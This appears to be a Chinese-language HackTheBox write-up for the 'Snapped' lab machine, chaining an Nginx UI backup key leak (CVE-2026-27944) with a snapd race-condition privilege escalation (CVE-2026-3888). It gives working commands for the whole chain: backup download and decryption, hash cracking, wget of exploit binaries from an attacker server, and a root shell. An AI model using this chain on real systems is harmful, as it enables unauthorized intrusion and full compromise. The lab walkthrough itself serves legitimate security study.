karimelsheikh1/HTB-Snapped-Writeup
GitHub: karimelsheikh1/HTB-Snapped-Writeup
一份关于 HackTheBox Snapped 靶机的详细渗透测试教程,演示了如何利用 Nginx UI 备份泄露和 snapd 竞争条件漏洞实现完整系统攻陷。
Stars: 0 | Forks: 0
# HTB-Snapped-Writeup
HTB Snapped — 困难 Linux 靶机 Writeup。利用 CVE-2026-27944(Nginx UI 未授权备份泄露)结合 CVE-2026-3888(snapd 竞争条件本地提权)实现完整系统攻陷。
# HTB: Snapped — Writeup
**难度:** 困难
**操作系统:** Linux (Ubuntu 24.04)
**发布日期:** 2026年3月23日
**CVE:** CVE-2026-27944, CVE-2026-3888
## 概要
Snapped 是一台困难级别的 Linux 靶机,在 nginx
反向代理下托管着一个静态网站,并带有 Nginx UI 管理面板。初始访问通过利用
CVE-2026-27944 获得——这是一个未授权备份接口,会泄露
AES 加密密钥。在解密备份文件并破解 SQLite 数据库中的
bcrypt 哈希后,即可获取 SSH 访问权限。通过
CVE-2026-3888 可以将权限提升至 root,这是
snapd 中 snap-confine 和 systemd-tmpfiles 之间的一个竞争条件漏洞。
## 信息收集
### Nmap
```
nmap -sCV
```
**开放端口:** 22 (SSH), 80 (HTTP)
### 子域名枚举
```
ffuf -u http:// -H 'Host: FUZZ.snapped.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
```
**发现:** `admin.snapped.htb`
```
echo " snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
```
## 初始立足点 — CVE-2026-27944
### 背景
2.3.3 版本之前的 Nginx UI 在未经身份验证的情况下暴露了
`/api/backup` 接口。响应头 `X-Backup-Security` 泄露了
解密备份归档文件所需的 AES-256-CBC 密钥和 IV。
### 漏洞利用
**步骤 1 — 下载备份文件并提取密钥/IV:**
```
curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 \
| grep -i "X-Backup-Security"
KEY=""
IV=""
```
**步骤 2 — 转换为十六进制并解密:**
```
KEY_HEX=$(echo "$KEY" | base64 -d | xxd -p -c 256)
IV_HEX=$(echo "$IV" | base64 -d | xxd -p -c 256)
mkdir backup && cd backup
unzip ../backup.zip
openssl enc -d -aes-256-cbc \
-K $KEY_HEX -iv $IV_HEX -nopad \
-in nginx-ui.zip -out nginx-ui-decrypted.zip
unzip nginx-ui-decrypted.zip
```
**步骤 3 — 从 SQLite 数据库中提取哈希:**
```
strings database.db | grep '\$2a\$'
# 找到用户的 bcrypt 哈希: jonathan, admin
```
**步骤 4 — 破解哈希:**
```
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
# jonathan:
```
**步骤 5 — SSH 连接:**
```
ssh jonathan@snapped.htb
cat ~/user.txt
```
## 权限提升 — CVE-2026-3888
### 背景
CVE-2026-3888 是影响
Ubuntu 24.04 的 snapd 中的一个本地权限提升漏洞。它利用了两个系统
组件之间的 TOCTOU 竞争条件:
- **snap-confine** (SUID root) — 构建 snap 沙箱
- **systemd-tmpfiles** — 定期清理 `/tmp/.snap`
当 systemd-tmpfiles 删除 `/tmp/.snap` 时,攻击者可以
使用恶意内容重新创建它。当 snap-confine 下次初始化
沙箱时,它会以 root
权限 bind-mount(绑定挂载)攻击者控制的目录,从而实现动态链接器劫持。
### 漏洞利用
**步骤 1 — 验证受影响版本:**
```
snap version
# snapd 2.63.1+24.04 — 存在漏洞 (在 2.73 中已修复)
```
**步骤 2 — 在攻击者机器上编译漏洞利用程序:**
```
git clone https://github.com//CVE-2026-3888
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
```
**步骤 3 — 传输至目标机器:**
```
# 攻击机
python3 -m http.server 8080
# 目标
wget http://:8080/exploit -O ~/exploit
wget http://:8080/librootshell.so -O ~/librootshell.so
chmod +x ~/exploit
```
**步骤 4 — 运行漏洞利用程序:**
```
# Session 1 — 运行 exploit
~/exploit ~/librootshell.so
# Session 2 — 当你看到 "Polling..." 时触发清理
rm -rf /tmp/.snap
```
**步骤 5 — Root shell:**
```
/var/snap/firefox/common/bash -p
whoami
# root
cat /root/root.txt
```
## 使用工具
- nmap
- ffuf
- curl / openssl
- sqlite3 / strings
- hashcat
- CVE-2026-3888 PoC
## 参考
- [CVE-2026-27944 — Nginx UI 备份泄露](https://nvd.nist.gov/vuln/detail/CVE-2026-27944)
- [CVE-2026-3888 — Qualys 研究](https://blog.qualys.com/vulnerabilities-threat-research/2026/03/17/cve-2026-3888-important-snap-flaw-enables-local-privilege-escalation-to-root)
- [HTB 官方博客](https://www.hackthebox.com/blog/CVE-2026-27944-CVE-2026-3888)
标签:AES解密, bcrypt, CISA项目, CTI, CVE-2026-27944, CVE-2026-3888, ffuf, HackTheBox, HTB, LPE, Nginx UI, Nmap, Race Condition, snapd, SQLite, SSH, StruQ, Web安全, Web报告查看器, 事件响应, 信息泄露, 初始访问, 协议分析, 备份文件泄露, 威胁模拟, 子域名变形, 子域名枚举, 未授权访问, 本地提权, 权限提升, 漏洞复现, 竞态条件, 系统安全, 网络安全, 蓝队分析, 虚拟驱动器, 隐私保护, 靶机Writeup